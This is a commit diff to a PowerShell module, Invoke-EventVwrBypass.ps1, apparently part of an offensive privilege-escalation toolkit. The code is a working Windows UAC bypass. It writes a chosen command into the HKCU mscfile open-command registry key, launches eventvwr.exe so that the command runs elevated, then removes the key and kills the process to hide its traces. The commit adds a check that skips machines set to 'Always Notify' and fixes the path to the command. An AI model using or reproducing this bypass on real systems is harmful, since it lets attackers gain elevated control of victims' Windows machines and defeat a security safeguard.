Added checks for UAC levels and fixed a bug with the path to powershell.exe not being found

data/module_source/privesc/Invoke-EventVwrBypass.ps1

@@ -34,49 +34,57 @@ This will write out "Is Elevated: True" to C:\UACBypassTest.
         [Switch]
         $Force
     )
+    $ConsentPrompt = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).ConsentPromptBehaviorAdmin
+    $SecureDesktopPrompt = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).PromptOnSecureDesktop
 
-    $mscCommandPath = "HKCU:\Software\Classes\mscfile\shell\open\command"
-    #Add in the new registry entries to hijack the msc file
-    if ($Force -or ((Get-ItemProperty -Path $mscCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){
-        New-Item $mscCommandPath -Force |
-            New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null
-    }else{
-        Write-Verbose "Key already exists, consider using -Force"
+    if($ConsentPrompt -Eq 2 -And $SecureDesktopPrompt -Eq 1){
+        "UAC is set to 'Always Notify'. This module does not bypass this setting."
         exit
     }
+    else{
+        #Begin Execution
+        $mscCommandPath = "HKCU:\Software\Classes\mscfile\shell\open\command"
+        $Command = $pshome + '\' + $Command
+        #Add in the new registry entries to hijack the msc file
+        if ($Force -or ((Get-ItemProperty -Path $mscCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){
+            New-Item $mscCommandPath -Force |
+                New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null
+        }else{
+            Write-Warning "Key already exists, consider using -Force"
+            exit
+        }
 
-    if (Test-Path $mscCommandPath) {
-        Write-Verbose "Created registry entries to hijack the msc extension"
-    }else{
-        Write-Warning "Failed to create registry key, exiting"
-        exit
-    }
-    
+        if (Test-Path $mscCommandPath) {
+            Write-Verbose "Created registry entries to hijack the msc extension"
+        }else{
+            Write-Warning "Failed to create registry key, exiting"
+            exit
+        }
 
-    $EventvwrPath = Join-Path -Path ([Environment]::GetFolderPath('System')) -ChildPath 'eventvwr.exe'
+        $EventvwrPath = Join-Path -Path ([Environment]::GetFolderPath('System')) -ChildPath 'eventvwr.exe'
+        #Start Event Viewer
+        if ($PSCmdlet.ShouldProcess($EventvwrPath, 'Start process')) {
+            $Process = Start-Process -FilePath $EventvwrPath -PassThru
+            Write-Verbose "Started eventvwr.exe"
+        }
 
-    #Start Event Viewer
-    if ($PSCmdlet.ShouldProcess($EventvwrPath, 'Start process')) {
-        $Process = Start-Process -FilePath $EventvwrPath -PassThru
-        Write-Verbose "Started eventvwr.exe"
-    }
+        #Sleep 5 seconds 
+        Write-Verbose "Sleeping 5 seconds to trigger payload"
+        if (-not $PSBoundParameters['WhatIf']) {
+            Start-Sleep -Seconds 5
+        }
 
-    #Sleep 5 seconds 
-    Write-Verbose "Sleeping 5 seconds to trigger payload"
-    if (-not $PSBoundParameters['WhatIf']) {
-        Start-Sleep -Seconds 5
-    }
+        $mscfilePath = "HKCU:\Software\Classes\mscfile"
 
-    $mscfilePath = "HKCU:\Software\Classes\mscfile"
+        if (Test-Path $mscfilePath) {
+            #Remove the registry entry
+            Remove-Item $mscfilePath -Recurse -Force
+            Write-Verbose "Removed registry entries"
+        }
 
-    if (Test-Path $mscfilePath) {
-        #Remove the registry entry
-        Remove-Item $mscfilePath -Recurse -Force
-        Write-Verbose "Removed registry entries"
-    }
-
-    if(Get-Process -Id $Process.Id -ErrorAction SilentlyContinue){
-        Stop-Process -Id $Process.Id
-        Write-Verboe "Killed running eventvwr process"
+        if(Get-Process -Id $Process.Id -ErrorAction SilentlyContinue){
+            Stop-Process -Id $Process.Id
+            Write-Verbose "Killed running eventvwr process"
+        }
     }
 }